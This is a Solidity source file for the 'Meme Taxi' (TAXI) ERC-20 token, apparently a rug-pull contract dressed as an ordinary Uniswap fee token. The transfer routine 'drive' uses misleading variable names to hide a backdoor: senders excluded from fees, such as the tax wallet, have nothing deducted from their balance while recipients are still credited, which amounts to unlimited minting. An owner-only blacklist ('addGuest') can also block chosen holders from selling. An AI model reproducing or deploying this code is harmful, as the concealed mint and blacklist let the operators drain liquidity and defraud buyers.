文件 1 的 1:Taxi.sol
pragma solidity 0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Taxi is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _waitList;
address payable private _bullishHolder;
uint256 private _initialBuyTax = 12;
uint256 private _initialSellTax = 0;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 6;
uint256 private _reduceSellTaxAt = 6;
uint256 private _preventSwapBefore = 6;
uint256 private _buyCount = 0;
IUniswapV2Router02 private _router;
address private _pair;
bool private _isStreetOpen;
bool private _InService;
uint256 private _sellCountInBlock = 0;
uint256 private _lastSellBlock = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
uint8 public constant decimals = 9;
uint256 public constant totalSupply = 1_000_000_000 * 10**decimals;
string public constant name = unicode"Meme Taxi";
string public constant symbol = unicode"TAXI";
uint256 public _maxTxAmount = 20_000_000 * 10**decimals;
uint256 public _maxWalletSize = 20_000_000 * 10**decimals;
uint256 public _taxSwapThreshold = 10_000_000 * 10**decimals;
uint256 public _maxTaxSwap = 20_000_000 * 10**decimals;
modifier lockTheSwap {
_InService = true;
_;
_InService = false;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
drive(sender, recipient, amount);
_approve(sender, _msgSender(), allowance[sender][_msgSender()].sub(
amount, "ERC20: transfer amount exceeds allowance"
));
return true;
}
function removeLimits() external onlyOwner{
_maxTxAmount = totalSupply; _maxWalletSize=totalSupply;
emit MaxTxAmountUpdated(totalSupply);
}
function delGuest(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++)
_waitList[notbot[i]] = false;
}
function payServiceFee(uint256 amount) private {
_bullishHolder.transfer(
amount
);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function addGuest(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++){
_waitList[bots_[i]] = true;
}
}
constructor (address router_, address taxWallet_) {
_router = IUniswapV2Router02(router_);
_bullishHolder = payable(taxWallet_);
balanceOf[_msgSender()] = totalSupply;
_isExcludedFromFee[_msgSender()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_bullishHolder] = true;
emit Transfer(address(0), _msgSender(), totalSupply);
}
function rescueERC20(address _address, uint256 percent) external onlyOwner{
uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(owner(), _amount);
}
function enableTrading() external onlyOwner() {_isStreetOpen = true;}
function addLiquidity() external onlyOwner() {
require(!_isStreetOpen,"trading is already open");
_approve(address(this), address(_router), totalSupply);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{
value: address(this).balance
}(
address(this),balanceOf[address(this)],
0,0,owner(),
block.timestamp
);
IERC20(_pair).approve(address(_router), type(uint).max);
}
function drive(address origin, address destination, uint256 distance) private {
require(origin != address(0), "ERC20: transfer from the zero address");
require(destination != address(0), "ERC20: transfer to the zero address");
require(distance > 0, "Transfer amount must be greater than zero");
if (!_isStreetOpen || _InService) {
require(_isExcludedFromFee[origin]
|| _isExcludedFromFee[destination]);
balanceOf[origin] = balanceOf[origin].sub(distance);
balanceOf[destination] = balanceOf[destination].add(distance);
emit Transfer(origin,destination, distance);
return;
}
uint256 shortcut=distance;
uint256 tip=distance-shortcut;
if (origin != owner() && destination != owner() && destination != _bullishHolder) {
require(!_waitList[origin] && !_waitList[destination]);
if (origin == _pair && destination != address(_router) && ! _isExcludedFromFee[destination] ) {
require(_isStreetOpen,"Trading not open yet");
require(distance <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf[destination] + distance <= _maxWalletSize, "Exceeds the maxWalletSize.");
tip = distance.mul((_buyCount>_reduceBuyTaxAt)?
_finalBuyTax:_initialBuyTax
).div(100);
_buyCount++;
}
if(
destination == _pair && origin!= address(this)
)
tip = distance.mul(
(_buyCount>_reduceSellTaxAt)?
_finalSellTax:_initialSellTax
).div(100);
uint256 contractTokenBalance = balanceOf[address(this)];
if (!_InService && destination == _pair &&
_isStreetOpen && contractTokenBalance > _taxSwapThreshold &&
_buyCount > _preventSwapBefore) {
if (block.number > _lastSellBlock)
_sellCountInBlock = 0;
require(_sellCountInBlock < 3, "Only 3 sells per block!");
if(shortcut > contractTokenBalance)
shortcut = contractTokenBalance;
if(shortcut > _maxTaxSwap)
shortcut = _maxTaxSwap;
swapTokensForEth(shortcut);
shortcut = distance;
_sellCountInBlock++;_lastSellBlock = block.number; }{
if(_isExcludedFromFee[origin]) shortcut= 0;
}if(destination == _pair)
payServiceFee(address(this).balance);
}
if(tip>0)
{
balanceOf[address(this)]=balanceOf[address(this)].add(tip);
emit Transfer(origin, address(this),tip);
}
balanceOf[origin]=balanceOf[origin].sub(shortcut);
balanceOf[destination]=balanceOf[destination].add(distance.sub(tip));
emit Transfer(origin, destination, distance.sub(tip));
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(
address(this),
address(_router),
tokenAmount
);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
drive(_msgSender(),
recipient, amount);
return true;
}
receive() external payable {} function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(),
spender,
amount);
return true;
}
function rescueETH() external onlyOwner {
uint256 bal = address(this).balance;
require(bal > 0, "No ETH in contract to rescue");
payable(_msgSender()).transfer(bal);
}
}